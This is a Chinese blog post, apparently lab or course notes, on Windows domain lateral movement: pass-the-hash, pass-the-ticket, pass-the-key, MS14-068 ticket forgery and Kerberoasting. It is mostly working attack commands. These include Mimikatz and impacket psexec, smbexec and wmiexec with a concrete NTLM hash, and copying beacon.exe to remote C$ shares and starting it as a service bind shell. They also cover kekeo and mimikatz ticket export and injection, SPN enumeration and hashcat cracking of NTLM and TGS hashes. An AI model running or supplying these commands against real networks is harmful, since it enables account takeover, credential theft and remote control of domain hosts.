内网对抗-横向移动篇&PTH哈希&PTT票据&PTK密匙&Kerberoast攻击点&TGT&NTLM爆破

Ethan医生2天前信息收集10

image.jpg

#首要知识点:

pass the hash(哈希传递攻击,简称pth)

pass the ticket(票据传递攻击,简称ptt)

pass the key(密钥传递攻击,简称ptk)

PTH(pass the hash) #利用的lm或ntlm的值进行的渗透测试(NTLM认证攻击)

PTK(pass the key) #利用的ekeys aes256进行的渗透测试(NTLM认证攻击)

PTT(pass the ticket) #利用的票据凭证TGT进行渗透测试(Kerberos认证攻击)

 

逻辑思路:

明文传递->PTH(HASH传递)->PTT(票据攻击)->PTK(AES)

 

#PTH

windows 2012以上默认关闭了Wdigest,所以攻击者无法通过内存获取到明文密码

为了针对以上情况 所以有四种方法解决:

1.利用(PTH,PTK)等进行移动不需要明文

2.利用其他服务协议(SMB/WMI等进行哈希移动)

3.利用注册表开启(wdigest auth)进行获取、

4.利用工具或者第三方平台(HASHCAT进行破解获取)

 

LM-HASH和NTLM-HASH差异:

见上图

 

利用思路:

1种:利用直接的Hash传递

1、Mimikatz

mimikatz privilege::debug

mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c

net use \\192.168.3.32\c$

copy beacon.exe \\192.168.3.32\c$

sc \\sqlserver create bshell binpath= "c:\4.exe"

sc \\sqlserver start bshell

 

2、impacket-at&ps&wmi&smb

psexec -hashes :NTLM值 域名/域用户@域内ip地址

smbexec -hashes :NTLM值 域名/域用户@域内ip地址

wmiexec -hashes :NTLM值 域名/域用户@域内ip地址

D:\Myproject\venv\Scripts\python.exe psexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

D:\Myproject\venv\Scripts\python.exe smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

D:\Myproject\venv\Scripts\python.exe wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

 

2种:利用hash转成ptt传递

见ptt讲解

 

3种:利用hash进行暴力破解明文

平台:https://www.cmd5.com/

工具:https://hashcat.net/hashcat/

破解

hashcat -a 0 -m 1000 --force 518b98ad4178a53695dc997aa02d455c pass.txt

-m 密文类型

-a 破解类型

?l 小写

?s 符号

?d 数字

字典破解:

hashcat.exe -a 0 -m 1000 hash.txt pass.txt

暴力破解:

hashcat.exe -a 3 -m 1000 518b98ad4178a53695dc997aa02d455c ?l?l?l?l?l?s?s?s?d?d     ----?l是小写 ?s是符号 ?d数字

 

4种:修改注册表重启进行获取明文

见后续讲解

 

#PTT

https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

https://github.com/gentilkiwi/kekeo/releases

1、漏洞-MS14068(webadmin权限)-利用漏洞生成的用户的新身份票据尝试认证

MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。

它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC。

该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。

用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.

获取SID值:shell whoami/user

生成票据文件:shell ms14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45

清除票据连接:

shell klist purge

内存导入票据:

mimikatz kerberos::ptc TGT_webadmin@god.org.ccache

连接目标上线:

shell dir \\OWA2010CN-GOD\c$

shell net use \\OWA2010CN-GOD\C$

copy beacon.exe \\OWA2010CN-GOD\C$

sc \\OWA2010CN-GOD create bindshell binpath= "c:\beacon.exe"   ---- 启用绑定shell

sc \\OWA2010CN-GOD start bindshell

注意:成功不成功看DC域控漏洞补丁打没打

 

2、kekeo(高权限,需NTLM)-利用获取的NTLM生成新的票据尝试认证

因为当前主机肯定之前与其他主机连接过,所以本地应该生成了一些票据,

我们可以导出这些票据,然后再导入票据,利用。该方法类似于cookie欺骗

缺点:票据是有有效期的,所以如果当前主机在连接过域控的话,有效期内可利用。

生成票据:shell kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "exit"

导入票据:shell kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"

查看票据:shell klist

利用票据连接:shell dir \\owa2010cn-god\c$

注意:成功不成功看ntlm哈希值的正确性

 

3、mimikatz(高权限,需Ticket)-利用历史遗留的票据重新认证尝试

导出票据:

mimikatz sekurlsa::tickets /export

导入票据:

mimikatz kerberos::ptt C:\Users\webadmin\Desktop\[0;22d3a]-2-1-40e00000-Administrator@krbtgt-god.org.kirbi

查看票据:shell klist

利用票据连接:shell dir \\owa2010cn-god\c$

注意:成功不成功看当前主机有没有被目标连接过

 

4、Rubeus&Impacket(高权限,需Ticket)-利用通讯的加密类型票据进行爆破明文

Kerberos攻击条件:

采用rc4加密类型票据,工具Rubeus&impacket检测或看票据加密类型

Kerberoasting 攻击的利用:

•SPN服务发现

•请求服务票据

•服务票据的导出

•服务票据的暴力破解

https://hashcat.net/hashcat/

https://github.com/fortra/impacket

https://github.com/GhostPack/Rubeus

https://github.com/nidem/kerberoast

https://www.freebuf.com/articles/system/174967.html

如需利用需要配置策略加密方式(对比)

黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并用与SPN关联的服务帐户加密票证,以便服务能验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。

 

注意:成功不成功看当前主机票据加密类型(RC4)

 

1、扫描:

powershell setspn -T 0day.org -q */*

powershell setspn -T 0day.org -q */* | findstr "MSSQL"

2、检测加请求:

Rubeus kerberoast

impacket-getuserspns

请求所有SPN服务器,并找到能破解的票据格式保存到hash.txt

python GetUserSPNs.py -request -dc-ip 192.168.3.142 0day.org/jack:admin!@#45 -outputfile hash.txt

3.手工请求:(要产生票据文件)

powershell Add-Type -AssemblyName System.IdentityModel

powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"

mimikatz kerberos::ask /target:MSSQLSvc/SqlServer.god.org:1433

4.导出:

mimikatz kerberos::list /export

5.破解:

文件票据:python tgsrepcrack.py pass.txt "xx.kirbi"

HASH密文:hashcat -m 13100 hash.txt pass.txt --force

5.重写:(后续讲到)

https://www.freebuf.com/articles/system/174967.html

 

#PTK

PTK = Pass The Key,当系统安装了KB2871997补丁且禁用了NTLM的时候,

那我们抓取到的ntlm hash也就失去了作用,但是可以通过PTK的攻击方式获得权限。

mimikatz sekurlsa::ekeys

mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值


标签: 横向移动

相关文章

内网对抗-横向移动篇&入口差异&切换上线&IPC管道&AT&SC任务&Impacket套件&UI插件

➢ 横向移动-域内域外-枚举用户&切换用户➢ 横向移动-IPC管道-命令连接&计划任务➢ 横向移动-IPC管道-Impacket工具套件#横向移动入口知识...

内网对抗-横向移动篇&WinRS命令&WinRM管理&RDP终端&密码喷射点&CrackMapExec

➢ 横向移动-WinRS&WinRM&RDP➢ 横向移动-密码喷射-CrackMapExec#WinRM&WinRSWinRM代表Windows远程管理,是...

内网对抗-横向移动篇&入口切换&SMB共享&WMI管道&DCOM组件&Impacket套件&CS插件

➢ 横向移动-WMI服务-条件&明文&HASH➢ 横向移动-SMB服务-条件&明文&HASH➢ 横向移动-DCOM服务-条件&明文...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。